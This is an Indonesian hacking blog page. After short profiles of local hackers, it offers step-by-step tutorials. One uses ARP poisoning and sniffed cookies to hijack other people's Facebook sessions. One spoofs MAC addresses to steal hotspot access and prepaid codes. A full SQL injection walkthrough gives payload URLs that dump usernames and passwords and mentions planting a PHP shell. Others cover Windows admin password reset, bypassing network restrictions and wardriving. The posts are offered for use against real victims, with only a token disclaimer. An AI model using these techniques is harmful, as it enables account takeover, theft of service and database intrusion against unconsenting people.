hacker orang indonesia

inilah Top tiga Hacker Indonesia

Mungkin dari kita semua sudah banyak mendengar kalau Anak Bangsa kita sudah bisa membuktikan ke hebatannya dalam bidang Teknologi,dan ini sedikit deretan orang yang pernah menggemparkan dunia cyber di Indonesia.
Dani Firmansyah A.K.A Xnuxer


nuxer, nama panggilan Dani Firmansyah di dunia bawah tanah, di tangkap Satuan Cyber Crime Direktorat Reserse Khusus Kepolisian Daerah Metro Jaya pada tanggal 24 April 2004 sekitar pukul 17:20 di Jakarta.



Jumat 16 April, Xnuxer mencoba melakukan tes sistem sekuriti kpu.go.id melalui XSS (cross site scripting) dari IP 202.158.10.117, namun dilayar keluar message risk dengan level low (website KPU belum tembus atau rusak).

Sabtu 17 April 2004 pukul 03.12,42, Xnuxer mencoba lagi melakukan penetrasi ke server tnp.kpu.go.id dengan cara SQL Injection dan berhasil menembus IP tnp.kpu.go.id 203.130.201.134, serta berhasil meng-up date daftar nama partai pada pukul 11.23,16 sampai pukul 11.34,27. Teknik yang dipakai Xnuxer dalam meng-hack yakni melalui teknik spoofing (penyesatan). Xnuxer melakukan serangan dari IP 202.158.10.117, kemudian membuka IP Proxy Anonymous Thailand 208.147.1.1 sebelum msuk ke IP tnp.kpu.go.id 203.130.201.134, dan berhasil membuka tampilan nama 24 partai politik peserta pemilu.

Beruntung Xnuxer meng-hack situs KPU hanya karena ingin mengetes keamanan sistem keamanan server tnp.kpu.go.id, tanpa ada muatan politik. Di tambah, sifat Xnuxer yang sangat cooperatif, akhirnya Xnuxer hanya di bui beberapa bulan saja.





Onno W. Purbo A.K.A Kang Onno

Onno Widodo Purbo (lahir di Bandung 17 Agustus 1962; umur 45 tahun) adalah seorang tokoh (yang kemudian lebih dikenal sebagai pakar di bidang) teknologi informasi asal Indonesia. Ia memulai pendidikan akademis di ITB pada jurusan Teknik Elektro pada tahun 1981. Enam tahun kemudian ia lulus dengan predikat wisudawan terbaik, kemudian melanjutkan studi ke Kanada dengan beasiswa dari PAU-ME.

RT/RW-Net adalah salah satu dari sekian banyak gagasan yang dilontarkan. Ia juga aktif menulis dalam bidang teknologi informasi media, seminar, konferensi nasional maupun internasional. Percaya filosofy copyleft, banyak tulisannya dipublikasi secara gratis di internet.

Pejuang kemerdekaan frekuensi 2.4 GHz, VOIP-Rakyat, dan Antena Wifi dari kaleng.





I Made Wiryana A.K.A Pak Made

Cyber Paspampres nih, konon website dan server President SBY beliau yang pegang untuk maintenance dan keamanannya… (pernah digempur ampe DDos, namun dalam waktu itungan detik back-up server –ga tau dah back-up yang nomor berapa– langsung up).

Beliau juga pelopor perkembangan linux di indonesia bersama pak Rusmanto (redaktur Info Linux) and yangh pasti dia Dosen gw (GUNADARMA), menyelesaikan pendidikan di dua institusi pendidikan yaitu S1-Fisika Universitas Indonesia pada tahun 1991 dan S1-manajemen Informatika STIMIK Gunadarma tahun 1992 dan melanjutkan Magister di eidith cowan university Australia dan sejak tahun 2004 sampai sekarang sedang menyelesaikan program Doktoral di RVS Bielfield Jerman. Dan sekarang berdomisili di Jerman. Status pekerjaannya adalah Dosen Tetap universitas Gunadarma.
Tung is offline Report Post Reply With Quote

Salut untuk anak bangsa dan Semoga anak - anak Indonesia bisa lebih maju lagi dari sekarang.

hacker orang indonesia

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

cara hack facebook

cara hack facebook ini menggunakan BackTrack 5

Pada tutorial ini menggunakan OS Back|Tack 5 GNOME 32, sebuah OS berbasis UNIX yang didedikasikan bagi mereka yang gemar melakukan penetration testing [hacking].
 Dan berikut cara hack fascebook


Support:
Ubuntu

Note:
Dalam ubuntu wlan0 sama dengan eth1

Preparation:
1. Ettercap download link
2. Wireshark download link
3. Cookie Manager Add Ons Firefox download link
4. Text Editor

Walkthrough:
Langsung saja kita ke bagian tutorialnya. Pertama, hubungkan laptop atau netboook anda pada sebuah host-spot. Kemudian jalankan ettercap. Pada Back|Tack 5, ettercap terletak di Application - BackTrack - Privilege Escalation - Protocol Analysis - Network Sniffer - ettercap-gtk.

Screenshoot Ettercap

Kemudian pilih interface dengan menekan tombol shift + u dan pilih interface wlan0.

Kemudian lakukan scanning host yang online pada sebuah wireless local area network dengan menekan tombol ctrl + s

Setelah melakukan scanning, maka akan tampak hosts atau korban yang sedang online pada sebuah jaringan WLAN.

Kemudian lakukan serangan MITM dengan memilih menu MITM - Arp poisoning ... Kemudian beri checklist pada sniff remote connections.

Kemudian ARP poisoning akan berjalan seperti gambar dibawah ini [bagian tulisan yang di block]

Lakukan proses sniffing dengan menekan ctrl + w

Lalu buka wireshak, pada Back|Track 5, wireshark dapat ditemukan di Applications - BackTrack - Forensics - Network Forensics - wireshark

Wireshark

Pada bagian Capture, pilih interface wlan0. Maka wireshark akan menampilkan paket-paket yang ditangkap oleh wireshark. Kemudian filter hasil tangkapan dengan mengetik http.cookie pada kolom filter di atas.

Cari host yang sedang mengkases facebook, kemudian expand pada bagian http. Pada bagian cookie, klik kanan kemudian copy value. Paste ke dalam text editor.

Langkah selanjutnya adalah memaipulasi cookie agar kita dapat masuk kedalam facebook korban tanpa login. Pada tahap ini, kita membutuhkan add on mozilla firefox yang bernama cookie manager + , pasang add on ini, kemudian pergilah ke halaman facebook. Saya akan menunjukan pada anda bahwa saya belum login.


Buka cookie manager + dan lakukan filter cookie dengan mengetik facebook pada kolom filter.

Delete semua cookie kecuali wd. Checklist wd kemudian pilih file, backup, backup selected. Save cookie di desktop, atau dimanapun. Buka hasil save cookie, kemudian masukan daftar cookie yang telah di copy dari wireshark dan save cookie anda. Berikut screen shoot cookie yang belum di edit, dan yang sudah di edit.

Inilah screen shoot cookie yang sudah dimodifikasi

Kembali lagi ke cookie editor +, pada tahap ini kita akan melakukan tahap yang berbalikan dengan backup, yaitu restore. Sama seperti tahap backup. Namun pada tahap restore, pilih restore all.


Inilah hasil cookie yang telah diedit, kurang lebih ada 9 cookie baru yang harus anda modifikasi terlebih dahulu untuk mem-by pass halaman login.

Lalu buka lagi halaman facebook, maka anda akan terkejut bahwa metode ini dapat melewati halaman login. Tanpa perlu memasukan email atau password. Tidak perlu repot-repot membuat halaman phising atau virus koobface.dc yang rumit.

nb: ini hanya sebagai pembelajaran saja. berbagi ilmu....!!!

source : red_dragon

cara hack facebook

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

Cara Membobol Password Wifi Hotspot 

;(Internet Gratis). HotSPOT/tempat akses internet adalah Wireless dengan standard 802.11b/g.
Salah satu proteksi yang digunakan penyedia layanan wireless adalah dengan membatasi akses internet berdasarkan MAC Address.

Apa itu MAC Adress ?

In computer networking a Media Access Control address (MAC address) or Ethernet Hardware Address (EHA) or hardware address or adapter address is a quasi-unique identifier attached to most network adapters (NICs).
Kesimpulannya MAC Address adalah nomor unik yang membedakan setiap perangkat jaringan yang terpasang dikomputer kita.

Bagaimana menjebol Proteksi dengan MAC Address ? Ada sebuah tools yang sangat bermanfaat untuk anda. Tools itu bernama K-MAC. 
Dengan tools ini anda akan dapat mengubah MAC-Address anda secara instant dan apa artinya ? Anda dapat menjebol Proteksi MAC Address! Setiap jatah akses internet anda habis dalam waktu 3 jam, yang anda perlu lakukan hanyalah mengubah MAC Address anda, dan lakukan koneksi kembali.

Cracking password

WEP/WPA/WPA-2 menggunakan program yang tersedia dalam paket OS backtrack yaituKismet. Kismet adalah satu Tool security yang berjalan Linux, kismet digunakan untuk menyadap lalu lintas data dalam jaringan internet.

Aircrak-ptw. Aircrak-ptw adalah tool yang digunakan untuk meng-crack wireless yang diproteksi. Masing-masing notebook dengan spesifikasi berbeda, sehingga cara untuk menggunakan aircrack pun berbeda.

Trik yang satu ini juga dipakai untuk mencari password yang digunakan oleh seseorang untuk mengakses hotspot yang menggunakan kartu prepaid.
Alat yang dipersiapkan sangat simple:
- Seperangkat Laptop : PC yang ada wifi adaptornya juga bisa, asal jaringan hotspotnya bisa tertangkap.
- Charger laptop : karena pasti memakan banyak daya baterai saat keranjingan internet grati.
Software yang diperlukan:
1. Angry IP Scanner 2.21.
2. Technitium MAC Address v5 release 3.

Langsung aja sekarang ke caranya:

# Cari lokasi penyedia layanan hotspot, tentunya di daerah yang terjangkau jaringan hotspot tersebut.
# Hidupkan laptop anda, dan hidupkan pula wireless network anda dan lihat di sistem tray icon wireless network, kemudian klik kanan dan pilih view avalible wireless network, dan tentunya setelah itu anda harus connect ke wireless hotspot tujuan anda.

# Setelah connect, klik kanan sistem tray dan pilih status >pilih tab detail > kelihatan disana ip yang diberikan kepada kita. Catat ip tersebut.

# Buka Program AngryIP Scanner 2.21 dan isikan ip range yang akan kita scan (pakai data ip kita tadi) pada bagian atas. Misalnya : IP yang kita dapat 135.125.1.13 kemudian masukkan pada kolom range pertama ip kita sesuai dengan ip yang tadi namun ganti angka di bagian akhir dengan 1 menjadi 135.125.1.1 dan pada kolom kedua tuliskan sama namun angka satu diakhir itu ganti dengan 255 menjadi 135.125.1.255. hasilnya 135.125.1.1 to 135.125.1.255 dan klik start (tombol merah).

# Setelah melakukan scanning maka kita akan mendapatkan data ip yang hidup yang terkoneksi dengan hotspot tersebut. setelah scanning selesai maka lihat ip yang hidup (alive host) warna biru klik kanan pada ip yang hidup Klik kanan pada ip yang warna biru tadi klik kanan > show > mac address dan akan ada kode mac addres (terkadang ada mac addressnya tidak tampil, pilih saja ip yang lainnya). Catat mac address yang kita dapatkan.

# Buka Program Technitium MAC Address v5 release 3 yang telah kita persiapkan. Disana ada field mac address. nah sekarang tinggal ganti mac address tersebut dengan yang kita dapatkan tadi dan tekan change mac id.

# Tunggu karena mac kita akan diganti dan koneksi sementara terputus dan konek lagi otomatis sendiri.

# Masuk web browser firefox atau apa saja boleh. Nikmati Internet Gratis…...

Satu hal yang perlu diingat adalah kita sistemnya numpang data transfer pada account yang kita hack tadi (yang punya ip tadi, pis om....).

Ini bisa di akali dengan masuk halaman status login hotspot tersebut (untuk dapat account). Misalnya idonbiu.hotspot.net/status dan begitu masuk disana kan terlihat nomor sandi prepaid card dan kita catat saja, lalu logout, dan masuk kembali ke halaman login hotspot itu cepat-cepat masukkan sandi tadi.
Hal ini akan membuat kita secara langsung dapat mengakses internet tanpa menumpang lagi (soalnya yang make prepaid card code kan kita) jadi kalau ada yang mau login pakai kartu itu (yang punya code) saat kita login pakai kartu itu tentunya dia tidak akan bisa masuk karena kartu prepaid cardnya "already login".

WEP and WPA keygenerator v1.00 atau Wireless Key Generator . Tinggal jalanin programnya trus generate,,copy aja langsung ke network key-nya…

Bisa juga dengan aplikasi "wifi password finder".

Bonus: Jika Anda ingin menambah bandwidth internet supaya koneksinya terasa lebih cepat, Anda bisa melakukannya dengan cara mengurangi atau mengosongkan batasan bandwidth tersebut. Hal ini dilakukan agar bandwith yang ada dapat digunakan dengan maksimal.

Caranya seperti dibawah ini :

1. Klik Start
2. Klik Run
3. Ketik gpedit.msc
4. Kemudian pilih OK
5. Klik Administrative Templates
6. Klik Network
7. Setelah terbuka klik QoS Packet scheduler
8. Kemudian klik Limit Reservable Bandwidth
9. Setelah terbuka ubah setting menjadi Enable
10. Kemudian ubah Bandwidth Limitnya menjadi 0
11. Klik Apply
12. Kemudian pilih OK
13. Terakhir keluar dari menu dan restart komputer.

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

Cara hacking website dengan SQL injection

Hacking Website With SQL Injection

SQL INJECTION

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data. Yang perlu di ketahui sebelum sql injection pada mysql :

1. Cari Target + Bugnya
Cara mencarinya adalah dengan dork sql injection. Misalnya inurl:”index.php?id=” search dengan om GOOGLE, misalkan kita mendapatkan alamat situs
Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah tanda petik pada akhir url, sehingga urlnya menjadi
lalu tekan enter dan apa yang terjadi pada situs tersebut? Situsnya menampilkan pesan error, berarti parameter id tidak di filter dengan baik atau bahkan tidak difilter sama sekali. Untuk mengetahui suatu web aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan perintah and+1=1--
karakter: ' atau –
comments: /* atau –
information_schema untuk versi: mysql versi 5.x
( tidak support untuk mysql versi 4.x )
http://www.target.com/index.php?id=4
http://www.target.com/index.php?id=4’

Ketika di tambahkan parameter +and+1=1-- pada akhir URL, situsnya tampil dengan normal karena 1=1 menghasilkan nilai true.
Dan ketika di tambahkan parameter +and+1=2-- isi berita tidak dapat ditampilkan karena 1=2 hasilnya false dan ini membuktikan bahwa web aplikasi tersebut 99.9% memiliki bug SQL Injection
2. Cari Column Yang Memiliki Celah Injection
Setelah saya tau bahwa web tersebut memiliki Bug SQL Injection saya harus mencari tau nama table dan column, tapi sebelum itu saya harus mencari tau pada column ke berapa saya bisa melakukan Injection, untuk itu saya menggunakan perintah +order+by+ perhatikan url berikut.
url diatas jika di coba satu persatu akan menampilkan situsnya secara normal. Tapi ketika saya menginputnya dengan order+by+6-- apa yang terjadi??? Browser menampilkan pesan error. Dari pesan error tersebut bisa dipastikan terdapat 5 buah column yang terdapat disalah satu table yang belum kita ketahui namanya. Berarti yang kita ambil sampai +order+by+5-- saja.
3. Gunakan Perintah Union Select
Setelah saya mengetahui terdapat 5 buah column pada target, selanjutnya yaitu mencari column yang bisa dilakukan injeksi. Untuk itu saya menggunakan perintah +union+select+ (pakai union all select juga bisa koq) sehingga urlnya menjadi :
http://www.target.com/index.php?id=4+and+1=1--
http://www.target.com/index.php?id=4+and+1=2--
http://www.target.com/index.php?id=4+order+by+1--
http://www.target.com/index.php?id=4+order+by+2--
http://www.target.com/index.php?id=4+order+by+3--
http://www.target.com/index.php?id=4+order+by+4--
http://www.target.com/index.php?id=4+order+by+5--

 
Dan apa yang tampak di browser tidak ada yang aneh bukan? situsnya tampil dengan normal. Tetapi jika parameter id saya ganti menjadi -4 yang pastinya tidak ada isi data -4 di Database.
Oke disini browser menampilkan angka 2 & 3, dan angka inilah yang sering disebut dengan angka ajaib, karena angka tersebut adalah letak column dimana attacker bisa melakukan injeksi lebih lanjut.
4. Cari informasi Database Target
Dengan tampilnya angka ajaib tersebut anda bisa 'mengintip' beberapa informasi seperti nama database, nama user database, versi database, sessi user dll. Untuk melihat nama database, injeksi urlnya menjadi
Dan disini browser menampilkan nama database yaitu xyb_injector. Saya mencoba mengintip lagi nama user database pada situs tersebut dengan menginjeksinya pada column ke-2 dan versi pada column ke-3 dan url injeksinya menjadi :
Ternyata user dabasenya root@localhost dan beruntung sekali karena versi mysql yang di gunakan adalah versi 5.0.51a-community, lho emang kenapa kalo versi 5??? Karena bisa dilanjutin bacanya :D, kalo misalkan versi 4 tinggalin aja deh, cari target baru, hahahaha ☺.
Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada satu column. Bisakah meng-injeksi lebih dari satu perintah pada satu
http://www.target.com/index.php?id=4+union+select+1,2,3,4,5--
http://www.target.com/index.php?id=-4+union+select+1,2,3,4,5--
http://www.target.com/index.php?id=-4+union+select+1,database(),3,4,5--
http://www.target.com/index.php?id=-4+union+select+1,user(),version(),4,5--

colums??? Heheheh tentu saja bisa dong, untuk itu anda bisa menggunakan perintah yang sudah disediakan langsung oleh mysql yaitu perintah concat(perintah1,perintah2). Contoh dibawah ini saya meng-intip nama user dan nama database pada column ke-2 dan pada column ke-3 saya mengintip versi databasenya.

5. Dapatkan Nama Table
Saya sudah mendapatkan informasi database web tersebut, sebenarnya yang saya butuhkan hanyalah versi databasenya saja, seperti yang sudah anda lihat, versi database yang ditampilkan adalah 5.0.51a-community dan tentu ini memudahkan saya dalam mendapatkan table dengan menggunakan perintah table_name pada column yang memiliki bug yaitu angka 2 atau 3 pada web tersebut. Di akhir statement tambahkan from+information_schema.tables+where+table_schema=database()+limit+0,1-- Sehingga urlnya menjadi :
Di web tersebut tampil sebuah table bernama "table_attacker". Untuk melihat seluruh table sekaligus gunakan perintah group_concat(table_name) pada column yang memiliki bug, sehingga urlnya menjadi
Hihihi sip, seluruh table berhasil saya dapatkan, diantara table tersebut, table manakah yang harus saya telusuri lebih jauh lagi??? table_user sepertinya menarik :P yuk kita lihat apa isinya.

6. Dapatkan Nama Column

http://www.target.com/index.php?id=4+union+select+1,concat(user(),0x3a,database()),version(),4,5--
http://www.target.com/index.php?id=4+union+select+1,2,table_name,4,5+from+information_schema.tables+where+table_schema=database()+limit+0,1--
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()--

table_user sudah saya dapatkan selanjutnya yaitu mencari nama column pada table tersebut, untuk itu saya menggunakan perintah group_concat(column_name) sehingga urlnya menjadi
pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi menjadi hexadecimal yaitu dengan cara mengkonversinya. Salah satu website yg digunakan untuk konversi :
Contoh kata yg ingin di konversi yaitu table_user maka akan menjadi 7461626c655f75736572 ini masih belum selesai, anda harus menambahkan angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya menjadi 0x7461626c655f75736572 dan inilah yang akan kita injeksikan pada nama tabel. Sehingga urlnya menjadi
Alhasil nama column dari table_user sudah saya dapatkan yaitu user_id dan password_id.
7. Dapatkan Usename & Password
Saya sudah mendapatkan nama table “table_user” yang berisi 2 buah column yaitu “user_id” dan “password_id” dan akhirnya anda sudah sampai di detik-detik terakhir yaitu menampilkan isi data dari column tersebut. Tambahkan 0x3a pada group_concat(hasil isi column yg mau dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan) perintah +from+(nama table berasal)  dimasukkan setelah angka terakhir sehingga urlnya menjadi :

Tampillah seluruh username dan password dari situs tersebut. Biasanya password yang kita dapat sudah terenkripsi dalam bentuk md5 atau enkripsi yang lainnya. Untuk menterjemahkannya anda bisa mencari website yang

http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0xhexa--
http://www.string-functions.com/string-hex.aspx
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0x7461626c655f75736572--
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(user_id,0x3a,password_id),4,5+from+table_user--


menyediakan cracking password atau dengan tool cracking password. Setelah itu anda tinggal mencari halaman log in admin dan masuki sistemnya. Setelah memasuki sistem biasanya hacker menanamkan php shell untuk lebih gampang keluar masuk dan bisa mengexplore isi dari website tersebut terlebih lagi si hacker bisa melakukan teknik jumping sehingga semua website yang berada dalam 1 server yang sama dengan website yang terkena hack tersebut bisa di ambil alih oleh hacker tersebut, berbahaya sekali bukan? 


Referensi : Explore Your Brain, Indonesian Coder My Team : Bekasi Cyber Community, CyberForum-Online, Indonesian Hacker Team, Medan Hackers Thank’s To : Bekasi Cyber Community, CyberForum-Online, Indonesian Hacker Team, Medan Hackers, Palembang Hacker Link, Muslim Hackers, Soldier Of Allah, Codenesia, Xcode, Hacker Newbie, Forum Balikita, Devilzc0de, Jasakom, Yogya Carder Link, All Indonesian Hackers Forum, All Indonesian Defacer, and YOU.

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

Hack file rar (.rar)

fitur ini bisa sangat berguna namun bisa sangat merepotkan apalagi ketika kita mendownload file rar dengan ukuran 100 MB lebih atau bahkan 1 GB, dan merasakan file itu jarang serta juga kita sangat membutuhkannya, namun, ternyata file itu terenkripsi oleh password, apa yang terjadi?
kesenangan dan kebanggaan yang anda alami saat itu bisa saja lenyap
Namun, jangan lenyapkan kesenangan apalagi kebanggaan dulu , kita bisa bertambah senang dan bangga ketika password yang menenkripsi file idaman kita itu 'jebol' alias berhasil anda hack??

jadi donlot aja yachh...

Download Di sini

tinggal kn koment nya boz....

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

Masuk Ke Windows Tanpa Loggin

Saya punya sedikit tips nih untuk masuk ke windows tanpa harus melalui windows loggon bahkan bisa mengambil alih suatu komputer dengan menguasai akun administratornya sesuai kreatifitas kalian sihhhh. Certinya saat saya sedang melakukan peng-nonaktifan pada akun administrator dengan mencentang pilihan "account is disable" dan melakukan pemangkasan fungsi system loggon pada task manager dengan melakukan "end proses" pada system explorer atau apalah karena saya lupa soalnya tidak mau mencoba untuk kedua kalinya,hhe. Semula tidak terjadi efek apapun tapi setelah saya coba merestart komputer akhirnya timbulah efeknya berupa "tidak tampilnya halaman windwos loggon" walaupun sudah saya klik (ctrll+alt+del) 2x untuk mengakses windows loggin menggunakan akun administrator tetap saja tidak tampil. setelah saya cari tahu ternyata pilihan yang saya centang adalah menonaktifkan akun loggon administrator dan bahkan saya pun tidak memkai loggon user sebagai loggin. pusing karena ini pertama kalinya saya mendapat kendala seperti itu. karena tidak bisa mengakses komputer dirumah jadi saya kewarnet untuk mencari info tentang masuk ke windows tanpa loggin. cukup deh ceritanya nanti dibilangin curhat lagi.hehehe. inti nya saya berhasil masuk ke dalam windows yang menu loggon nya tidak aktif dan sedikit bangga karena sudah menemukan celah pada windows.hahaha. bukan berniat pamer tapi pengalaman untuk belajar.



Nih langsung saja dipraktekan cara nya,

- restart komputer
- tekan F8 berulang kali saat komputer melakukan booting awal(harus cepat karena proses booting hanya beberapa detik) dan tekan sampai komputer mengeluarkan suaru tiiit tiiit tiiit yang panjang dan berulang,hhe. serius loohhh.
- ketika telah tampil menu booting mungkin kalian merasa aneh karena ada proses yang mungkin loading agak lama karena windowsnya sedang membaca system dengan ciri adalah layar komputer dipenuhi teks (tunggu sampai proses selesai) setelah selesai maka akan ada beberapa pilihan, nah pilih satu saha yaitu ke "safe mode" atau apa lah pokonya ada tulisan "safe mode" nya. kalau tidak salah loggin windows with safe mode.
- setelah proses diatas berjalan sempurnah kalian akan masuk ke windows xp
- dan bukalah menu "RUN" dan ketikan "compmgmt.msc" tanpa tanda kutip
- atau bisa juga di akses dari CMD/command prompt kemudian ketikan "compmgmt.msc" tanpa kutip, atau bisa di dilakukan juga dengan klik kanan pada my computer >> manage >> local users and groups >> users >> administrator >> klik kanan pada administrator >> set password.
- buat password terserah kalian,tanpa harus memikirkan password lama,
- sekarang kalian sudah mengganti pasword baru
- terakhir kalian restart komputer,dan masuk dengan seperti biasa pada menu loggon dan masukan password yang baru saja kalian set pada administrator akun tadi,
atau teken aja ctrl+alt+del dan masukan password yang kalian set tadi.

Selesai dan ilmu "membobol" loggon windows xp selesai,hhe (maksudnya membobol demi kebaikan diri sendiri). tapi inget ya ini hanya jika kalian sedang mengalami gangguan pada menu loggon, lupa password, dan juga karena virus. tergantung pada kejadian masing-masing kalau menu loggon gak bisa dibuka karena virus berarti kalian hanya butuh masuk ke windows dan membersihkan virus tersebut tanpa harus mengganti password administrator.

Wuuuiiiihhhh wuuuiiiihhhh capek juga ngetik sebanyak ini, maklum karena saya masih pemula nih jadi tulisan saya masih jelek dan semoga saja bisa kalian pahami. terima kasih dam selamat mencoba.

bebekkomputer

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

Perintah Command Prompt Untuk Jaringan Komputer

Berikut ini adalah perintah-perintah pada Command Prompt yang berhubungan dengan jaringan komputer dan semoga bermanfaat bagi kalian yang membutuhkan.
Untuk melakukan perintah-perintah tersebut Anda harus masuk ke Command Prompt ( Klik Start ->Run ->Ketik CMD )



1. ipconfig /all
Menampilkan informasi konfigurasi koneksi, misalnya Host Name, Primary DNS Type, Ethernet Adapter LAN.

2. ipconfig /flushdns
Menghapus DNS Cache

3. ipconfig /release
“Menghapus” semua koneksi IP Address.

4. ipconfig /renew
Membuat IP Address baru untuk adapter tertentu.

5. ipconfig /displaydns
Menampilkan DNS Cache.

6. ipconfig /registerdns
Melakukan refresh DNS dan meregister kembali koneksi DNS.

7. ipconfig /showclassid
Menampilkan informasi DHCP Class.

8. ipconfig /setclassid
Mengubah DHCP Class ID

9. control netconnections
Menampilkan Network Connection.

10. nslookup
Mengetahui alamat ip address dari nama domain yang di tuliskan

11. netstat
Menampilkan informasi koneksi TCP/IP yang sedang aktif.

12. route
Menampilkan local route.

13. hostname
Menampilkan nama komputer.

14. ping
Contoh: ping www.facebook.com
Melakukan test koneksi ke situs www.finderonly.com.
Semakin sedikit % loss-nya maka semakin baik koneksinya.

15. tracert
Menampilkan informasi IP Address route.

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

hack network

Bagi yang kehidupan dunia mayanya dibatasi kayak saya disini sebagai mahasiswa Politeknik Informatika DEL, dimana Internet dibuka hanya pukul 08.00 malam. Jadi sebelum jam 08.00 malam, hanya koneksi intranet lah yang terbuka. Sungguh ironis yah? hehehehe… di sengaja biar mahasiswa/i nya gak ngeblog atau bermain fs atau malah buka web-webbegonoanpada jam kuliah. wkwkwkwkw… Namun dulu saya tetap bisa browsing sebelum jam 08.00 malam. Mau tau caranya? Tentu semua tahu, biasanya klo diperusahaan ada sebuah komputer server atau komputer lainnya yang selalu terhubung ke Internet. Jadi kita menggunakan komputer tersebut agar dapat browsing lewat internet. Caranya? Yah, sebaiknya kita punya Account pada komputer tersebut dan bisa diakses secara remote. Umumnya mail server menggunakan Linux sebagai sistem operasinya. Oleh karena itu, loginlah ke secara remote ke server tersebut melalui terminal. Nah, karena kita melakukan login secara remote, yang muncul kehadapan kita adalah sebuah console seperti dos. Nah, oleh karena itu saya sarankan untuk browsing dengan lynx. Seperti yang saya bilang diatas, bahwa kita harus terlebih dahulu memiliki akun pada server tersebut. Jika tidak, kamu boleh saja menghack server tersebut untuk menambahkan sebuah user atau malah menggunakan teknik hacking secara halus yang disebut reverse enginering. Tertarik? huehehehehehe.. Mungkin browsing dengan menggunakanlynxsangat menjemukan dan tidak user friendly. Untuk hal ini, kamu tinggal mencari atau membuat sebuah script yang dimana berfungsi layaknya anonimous proxy. Letakkan script tersebut pada Home Direktori kamu dan akses melalui browser. Asumsi:Script yang kamu gunakan memiliki tampilan layaknya anonimous proxy. Ketikan alamat web yang akan kamu kunjungi dan hopla!!!! Internet telah terbentang dihadapan mu… ;) Tutorial ini jangan disalah-gunakan yah… ;)''
nara sumber: thegands.wordpress.com

hacking adalah hal yang Sistem Komputer paparkan saat ini karena sangat menarik. Banyak hal yang mungkin bisa didapatkan dari tulisan tentang hacking ini.

Read More

Hack Jaringan WirelessThis is a featured page

Dengan kemudahan mengakses internet melalui wireless, banyak pengguna laptop selalu mencari atau memanfaatkan hotspot yang ada untuk selalu aktif. Ada yang hanya sekedar buka email, ada yang cuman sekedar browsing, bahkan, ada juga yang sampai mengirim tugas kantor. Para pemilk dan pengguna hotspot tidak menyadari bahwa mungkin, diantara mereka ada yang berniat jahat. Untuk kasus sederhana, sebuah hotspot umum palsu dapat menjebak para pemakainya untuk memberikan username dan password mereka tanpa mereka sadari bahwa mereka telah memberikannya. dalam artikel ini, akan saya jelaskan beberapa trik yang digunakan oleh beberapa orang yang berniat jelek dalam memakai wireless. Untuk masalah pencegahannya, bisa dilihat di artikel lain di website ini yang memberikan solusi dan pencegahannya. Untuk melakukan wireless hacking, langkah pertama yang dilakukan adalah mencari wireless network yang terdekat dengan anda. Hal itu bisa dilakukan dengan wardrive (jika dilakukan diluar ruangan) atau berkeliling mengitari hotspot yang ada (jika di dalam ruangan). Dalam artikel ini, penulis mencoba menguraikan cara menggunakan wardrive karena lebih aman dan mengingat kita hanya mencoba untuk mengetahui jaringan wireless mana saja yang lemah. Wardrive Wardrive adalah ekspedisi memancing elektronik untuk mencari jaringan wireless yang lemah di sekitar anda. Kebanyakan, sebagian besar dari jaringan wireless tersebut bahkan tidak diberi password atau enkripsi untuk melindunginya.
Kegiatan ini dilakukan untuk mencari jaringan mana saja yang akan dijadikan obyek serangan. Sehingga, kita bisa melakukan serangan terhadap jaringan wireless yang telah kita jadikan target. Untuk melakukan kegitan ini, diperlukan peralatan sederhana untuk memulainya. Daftar peralatan yang dibutuhkan:
• GPS receiver
jika daerah anda sudah memiliki GPS, anda dapat dengan mudah menandai daerah mana saja yang sudah anda jelajahi dan memberi tanda khusus dimana dalam daerah yang sudah anda jelajahi tersebut terdapat jaringan wireless yang lemah. • Wireless PCMI card
Peralatan ini dibutuhkan untuk memperluas jaringan wireless anda. Biasanya, peralatan ini dilengkapi dengan jack untuk wireless antenna receiver atau mensupport jaringan selular untuk memperoleh jaringan yang lebih luas. • Wireless antenna receiver
Peralatan ini dibutuhkan untuk menambah jangkauan wireless PCMI card yang anda punya dengan menghubungkan jack yang dimilikinya ke dalam wireless card anda. Jika wireless card yang anda miliki tidak mempunyai jack, anda bisa membeli wireless antenna yang memakai port usb yang sudah banyak beredar di pasaran. Tapi, jika anda merasa tidak puas dengan kemampuan memperoleh jaringan menggunakan peralatan yang anda miliki, anda bisa membikinnya dengan murah dengan mengikuti petunjuk yang ada di dalam website dibawah ini :
http://www.instructables.com/id/EQARE4I72GEPUCHTHU/ Pencarian Wireless Network Kebanyakan jaringan wireless yang beredar tidak mempunyai sekuriti atau enkripsi yang melindunginya. Untuk melacaknya, dibutuhkan peralatan yang mendukung. Ada dua tools yang biasanya dipakai untuk tujuan ini. • Network Stumbler atau lebih dikenal NetStumbler
